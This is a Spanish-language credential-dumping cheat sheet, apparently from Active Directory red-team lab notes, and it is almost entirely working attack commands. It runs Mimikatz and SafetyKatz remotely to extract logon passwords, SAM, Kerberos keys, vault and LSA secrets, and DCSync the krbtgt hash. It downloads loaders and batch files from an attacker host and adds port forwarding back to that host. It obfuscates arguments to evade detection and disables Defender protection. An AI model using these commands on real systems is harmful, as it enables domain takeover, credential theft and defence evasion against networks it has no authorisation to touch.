Volcado de credenciales con Mimikatz
Varios volcados requieren privilegios elevados:
lsadump::samylsadump::lsarequieren Domain Admin sobre el DC.lsadump::dcsyncrequiere permisos de replicación (DCSync).
Donde se indica, realizar el bypass de AMSI en la sesión remota antes de cargar Invoke-Mimikatz (el payload no se reproduce aquí).
logonpasswords
Crear una sesión en la máquina comprometida:
$sess = New-PSSession MACHINEIngresar a la sesión creada:
Enter-PSSession -Session $sessRealizar el bypass de AMSI en la sesión remota.
Salir de la sesión remota:
exitCopiar Invoke-Mimikatz en la sesión remota:
Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sessReingresar a la sesión remota:
Enter-PSSession -Session $sessVolcar las credenciales en memoria:
Invoke-Mimi -Command '"sekurlsa::logonpasswords"'SAM
Con permisos de Domain Admin, crear una sesión al DC:
$sess = New-PSSession DC_MACHINE_NAMEIngresar a la sesión creada en el DC:
Enter-PSSession -Session $sessRealizar el bypass de AMSI en la sesión remota.
Salir de la sesión remota:
exitCopiar Invoke-Mimikatz en la sesión remota:
Invoke-Command -FilePath Invoke-Mimi.ps1 -Session $sessReingresar a la sesión remota:
Enter-PSSession -Session $sessVolcar la SAM del DC:
Invoke-Mimi -Command '"token::elevate" "lsadump::sam"'eKeys
Validar la ejecución de comandos:
winrs /r:<SERVER_NAME> cmd /c "set computername && set username"Subir el Loader a la máquina pivote:
iwr http://<LOCAL_IP_ADDRESS>/Loader.exe -OutFile C:\Users\Public\Loader.exeCopiar el Loader a la máquina con la sesión del DA:
echo F | xcopy C:\Users\Public\Loader.exe \\<SERVER_NAME>\C$\Users\Public\Loader.exeCrear un port forwarding en el servidor con winrs (para evitar detecciones):
$null | winrs /r:<SERVER_NAME> "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>"En el equipo local, codificar el argumento de SafetyKatz con ArgSplit:
ArgSplit.bat
sekurlsa::ekeysCrear Safety.bat en el equipo local:
@echo off
set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
echo %Pwn%
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -Args %Pwn% exitDescargar el .bat en la máquina pivote:
iwr http://<LOCAL_IP_ADDRESS>/Safety.bat -OutFile C:\Users\Public\Safety.batCopiar el .bat a la máquina con la sesión del DA:
echo F | xcopy C:\Users\Public\Safety.bat \\<SERVER_NAME>\C$\Users\Public\Safety.batEjecutar el .bat para cargar SafetyKatz en memoria y volcar las claves de cifrado Kerberos:
$null | winrs /r:<SERVER_NAME> "cmd /c C:\Users\Public\Safety.bat"vault cred
Importar Invoke-Mimikatz en la sesión:
. .\Invoke-Mimi.ps1Extraer las credenciales del vault:
Invoke-Mimi -Command '"token::elevate" "vault::cred /patch"'LSA
Subir SafetyKatz a un servidor web en el equipo local.
Copiar el Loader al Domain Controller:
echo F | xcopy Loader.exe \\<SERVER_NAME>\C$\Users\Public\Loader.exe /YIngresar al Domain Controller:
winrs /r:<SERVER_NAME> cmdCrear un port forwarding en el DC con winrs:
$null | winrs /r:<SERVER_NAME> "netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>"Codificar e insertar lsadump::lsa en el DC:
set "z=a"
set "y=s"
set "x=l"
set "w=:"
set "v=:"
set "u=p"
set "t=m"
set "s=u"
set "r=d"
set "q=a"
set "p=s"
set "o=l"
set "Pwn=%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"Ejecutar SafetyKatz (WinRM):
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "%Pwn% /patch" "exit"Alternativa (PowerShell Remoting + Invoke-Mimikatz) — deshabilitar AMSI en el servidor y ejecutar Invoke-Mimikatz:
$sess = New-PSSession -ComputerName <SERVER_NAME>.<DOMAIN>
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -ScriptBlock ${function:Invoke-Mimi} -Session $sessDCSync
Codificar e insertar lsadump::dcsync:
set "z=c"
set "y=n"
set "x=y"
set "w=s"
set "v=c"
set "u=d"
set "t=:"
set "s=:"
set "r=p"
set "q=m"
set "p=u"
set "o=d"
set "n=a"
set "m=s"
set "l=l"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"Ejecutar SafetyKatz (WinRM):
Loader.exe -path SafetyKatz.exe -args "%Pwn% /user:<DOMAIN>\krbtgt" "exit"Alternativa (Invoke-Mimikatz) — importar el script:
. .\Invoke-Mimi.ps1Ejecutar DCSync con Invoke-Mimikatz:
Invoke-Mimi -Command '"lsadump::dcsync /user:dcorp\krbtgt"'